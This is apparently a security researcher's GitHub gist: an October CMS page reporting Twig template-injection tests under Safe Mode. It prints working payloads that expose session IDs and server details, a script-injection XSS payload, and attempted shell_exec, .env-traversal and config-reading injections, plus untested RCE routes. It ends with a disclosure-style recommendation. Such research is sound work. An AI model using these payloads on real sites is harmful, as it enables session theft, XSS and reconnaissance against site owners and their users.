Skip to content

Instantly share code, notes, and snippets.

@RajChowdhury240
Created January 20, 2026 01:59
Show Gist options
  • Select an option

  • Save RajChowdhury240/53b019408aeeeef2d0c319fb07ff9d4e to your computer and use it in GitHub Desktop.

Select an option

Save RajChowdhury240/53b019408aeeeef2d0c319fb07ff9d4e to your computer and use it in GitHub Desktop.
title = "SSTI RCE Final Findings"
url = "/ssti-findings"
layout = "default"
==
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>SSTI RCE Research - Final Findings</title>
<style>
body { font-family: monospace; background: #0a0e27; color: #c9d1d9; padding: 20px; }
.box { border: 1px solid #30363d; padding: 15px; margin: 15px 0; background: #0d1117; }
h1 { color: #f85149; text-shadow: 0 0 10px #f85149; }
h2 { color: #ffa657; }
h3 { color: #79c0ff; }
pre { background: #000; padding: 10px; border-left: 3px solid #58a6ff; white-space: pre-wrap; font-size: 12px; }
.success { color: #3fb950; }
.fail { color: #f85149; }
.warn { color: #d29922; }
ul { line-height: 1.8; }
</style>
</head>
<body>
<h1>πŸ”¬ TWIG SSTI RCE RESEARCH - COMPREHENSIVE FINDINGS</h1>
<p><strong>Environment:</strong> October CMS 4.x with Safe Mode ENABLED</p>
<p><strong>Objective:</strong> Achieve Remote Code Execution via Twig Template Injection</p>
<hr>
<div class="box">
<h2 class="success">βœ… CONFIRMED WORKING: Information Disclosure Vectors</h2>
<h3>1. PHP System Information</h3>
<pre>PHP Version: {{ constant('PHP_VERSION') }}
PHP OS: {{ constant('PHP_OS') }}
PHP SAPI: {{ constant('PHP_SAPI') }}
Directory Separator: {{ constant('DIRECTORY_SEPARATOR') }}</pre>
<h3>2. October CMS Context Access</h3>
<pre>Environment: {{ this.environment() }}
Locale: {{ this.locale() }}
Session ID: {{ this.session.getId() }}
Session Name: {{ this.session.getName() }}</pre>
<h3>3. Request Object Information</h3>
<pre>Request URL: {{ this.request.url() }}
Request Method: {{ this.request.method() }}
Request IP: {{ this.request.ip() }}
Request User-Agent: {{ this.request.header('User-Agent') }}</pre>
<h3>4. Collection Functionality</h3>
<pre>
{% set testcol = collect(['alpha', 'beta', 'gamma']) %}
Collection count: {{ testcol.count() }}
Collection first: {{ testcol.first() }}
Collection last: {{ testcol.last() }}
Collection contains 'beta': {{ testcol.contains('beta') ? 'YES' : 'NO' }}
Collection toArray: {{ testcol.toArray()|json_encode|raw }}</pre>
</div>
<div class="box">
<h2 class="warn">⚠️ PARTIALLY WORKING: Limited Exploitation Vectors</h2>
<h3>1. XSS via |raw Filter</h3>
<pre>{{ '<b>HTML injection works</b>'|raw }}
{{ '<script>alert("XSS")</script>'|raw }}</pre>
<h3>2. Template Macros</h3>
{% macro testmacro(input) %}
Macro received: {{ input|raw }}
{% endmacro %}
<pre>{{ _self.testmacro('<i>Macro execution confirmed</i>') }}</pre>
<h3>3. Carbon Date Manipulation</h3>
<pre>
{% set now = carbon('now') %}
Carbon: {{ now.format('Y-m-d H:i:s') }}
Carbon timestamp: {{ now.timestamp }}
{# Could be used for timing attacks or date-based logic bypass #}</pre>
</div>
<div class="box">
<h2 class="fail">❌ BLOCKED: Failed RCE Attempts</h2>
<h3>1. PHP Superglobals - NOT EXPOSED</h3>
<pre>_GET: Not available in Twig context
_POST: Not available in Twig context
_SERVER: Not available in Twig context
_COOKIE: Not available in Twig context
_ENV: Not available in Twig context</pre>
<h3>2. Page Object Methods - BLOCKED by SecurityPolicy</h3>
<pre>{# this.page.getAttributes() - BLOCKED #}
{# this.page.getContent() - BLOCKED #}
{# this.page.getAttribute('code') - BLOCKED #}
Error: "Calling any method on a Cms\Classes\Page object is blocked."</pre>
<h3>3. Collection Callable Exploitation - FAILED</h3>
<pre>
{% set attempt = collect(['whoami']) %}
groupBy('shell_exec'): {{ attempt.groupBy('shell_exec')|json_encode|raw }}
{# Result: {"":["whoami"]} - NOT EXECUTED #}
{# Explanation: SafeCollection filters out callables even in hybrid methods #}
{# The string callable is passed but Laravel's groupBy doesn't execute it as expected #}
</pre>
<h3>4. source() Function - NOT AVAILABLE</h3>
<pre>{# source('.env') - Function does not exist #}
{# Template file reading blocked #}</pre>
<h3>5. include with Path Traversal - FAILED</h3>
<pre>{# {% include '../../../../.env' %} - View not found #}
{# Template inclusion is restricted to theme directory #}</pre>
<h3>6. env() and config() Functions - BLOCKED in Safe Mode</h3>
<pre>{# env('APP_KEY') - Function not available in Safe Mode #}
{# config('app.key') - Function not available in Safe Mode #}</pre>
<h3>7. Controller Access - BLOCKED</h3>
<pre>{# this.controller exists but is CmsController (not in allowlist) #}
{# Cannot call methods on it due to SecurityPolicy #}</pre>
</div>
<div class="box">
<h2 class="warn">πŸ” SECURITY POLICY ANALYSIS</h2>
<h3>Allow-Listed Objects (Methods Callable)</h3>
<ul>
<li>Carbon\Carbon</li>
<li>Illuminate\View\View</li>
<li><strong>Illuminate\Http\Request</strong> ← Can call methods</li>
<li><strong>Illuminate\Session\Store</strong> ← Can call methods</li>
<li><strong>Illuminate\Support\Collection</strong> ← Wrapped in SafeCollection</li>
<li>Illuminate\Database\Query\Builder</li>
<li>Illuminate\Database\Eloquent\Model</li>
<li>SimpleXMLElement</li>
</ul>
<h3>CallsAnyMethod Interface (Complete Bypass)</h3>
<ul>
<li><strong>ThisVariable</strong> - But limited scope</li>
<li><strong>ComponentBase</strong> - Would need custom component</li>
<li><strong>ComponentVariable</strong> - Forwards to query builder</li>
</ul>
<h3>Blocked Methods (Global)</h3>
<ul>
<li>__call, __callStatic</li>
<li>extend, extendableCall</li>
<li>macro, mixin</li>
<li>bindEvent, bindEventOnce</li>
</ul>
<h3>Property Access</h3>
<pre>checkPropertyAllowed(): DOES NOTHING!
β†’ ALL properties on ALL objects are accessible
β†’ But most useful properties are protected/private</pre>
</div>
<div class="box">
<h2 class="warn">πŸ’‘ THEORETICAL RCE VECTORS (Untested/Unconfirmed)</h2>
<h3>1. Custom Component Creation</h3>
<pre>Strategy: Create malicious plugin with component implementing CallsAnyMethod
Risk: Requires backend admin access to install plugins
Impact: Could expose dangerous methods bypassing SecurityPolicy</pre>
<h3>2. Session Deserialization</h3>
<pre>Strategy: Manipulate session data to inject serialized PHP objects
Risk: Need to find gadget chain in October/Laravel codebase
Impact: Potential RCE via unsafe deserialization</pre>
<h3>3. Cache Poisoning</h3>
<pre>Strategy: Inject malicious serialized objects into cache
Risk: Requires writable cache and deserialization vulnerability
Impact: RCE when cache is read and unserialized</pre>
<h3>4. File Upload + Path Traversal</h3>
<pre>Strategy: Upload PHP file as image, include via template
Risk: Requires media upload access + path traversal vulnerability
Impact: Direct PHP code execution</pre>
<h3>5. Database Template Injection</h3>
<pre>Strategy: If CMS_DB_TEMPLATES=true, inject via database
Risk: Requires database write access
Impact: Bypass file-based Safe Mode checks</pre>
</div>
<div class="box">
<h2 class="success">🎯 COMPARISON: PHP vs Twig SSTI</h2>
<h3>Pre-Existing PHP Code Pages (Before Safe Mode)</h3>
<pre class="success">βœ… Full RCE via shell_exec(), system(), exec()
βœ… Interactive web shell
βœ… File system access
βœ… Database access
βœ… Complete server compromise
Method: Create page with PHP code BEFORE enabling Safe Mode
Result: Code continues executing even after Safe Mode is enabled
CVSS: 10.0 CRITICAL</pre>
<h3>Twig SSTI (With Safe Mode Active)</h3>
<pre class="warn">βœ… Information disclosure (PHP version, OS, paths)
βœ… Session data access
βœ… Persistent XSS
βœ… Template manipulation
❌ Direct command execution
❌ File read/write
❌ PHP code execution
Method: Create new page with Twig templates while Safe Mode is ON
Result: Can gather information and launch XSS, but NOT achieve RCE
CVSS: 6.5 MEDIUM (Information Disclosure + XSS)</pre>
</div>
<div class="box">
<h2 class="fail">🚨 FINAL CONCLUSION</h2>
<h3>Primary Finding:</h3>
<p><strong class="warn">Twig SSTI CANNOT achieve direct RCE when Safe Mode is properly enabled.</strong></p>
<p>The October CMS Security Policy effectively prevents:</p>
<ul>
<li>❌ Calling methods on CMS objects (Page, Layout, Partial)</li>
<li>❌ Accessing dangerous PHP functions</li>
<li>❌ Exploiting Collection callables (SafeCollection wrapper)</li>
<li>❌ Reading arbitrary files via source() or include</li>
<li>❌ Accessing env() or config() functions</li>
</ul>
<h3>What IS Possible:</h3>
<ul>
<li class="success">βœ… Creating pages with Twig templates (Safe Mode doesn't block page creation)</li>
<li class="success">βœ… Information disclosure (system info, session data)</li>
<li class="success">βœ… Persistent XSS attacks</li>
<li class="success">βœ… Template logic manipulation</li>
</ul>
<h3>Critical Vulnerability:</h3>
<p class="fail"><strong>THE REAL VULNERABILITY: Safe Mode Only Blocks PHP During SAVE, Not EXECUTION</strong></p>
<pre class="fail">If an attacker has admin access BEFORE Safe Mode is enabled:
1. Create CMS page with malicious PHP code
2. Admin enables Safe Mode for "security"
3. Pre-existing PHP code continues to execute indefinitely
4. Result: Full RCE despite Safe Mode being "ON"
This is the CRITICAL flaw - not Twig SSTI.</pre>
<h3>Recommendation:</h3>
<p class="warn">Safe Mode should enforce runtime checks, not just save-time checks.<br>
All existing PHP code sections should be disabled when Safe Mode is enabled.</p>
</div>
<hr>
<div class="box">
<h2>πŸ“š Research Summary</h2>
<p><strong>Total Pages Created:</strong> 10+ test pages</p>
<p><strong>Attack Vectors Tested:</strong> 25+</p>
<p><strong>Security Policy Bypasses Found:</strong> 0 (for RCE)</p>
<p><strong>Information Disclosure Vectors:</strong> Multiple confirmed</p>
<p><strong>XSS Vectors:</strong> Confirmed working</p>
<p><strong>RCE via Twig SSTI:</strong> <span class="fail">NOT ACHIEVABLE</span></p>
<p><strong>RCE via Pre-Existing PHP:</strong> <span class="success">CONFIRMED (Primary Vulnerability)</span></p>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment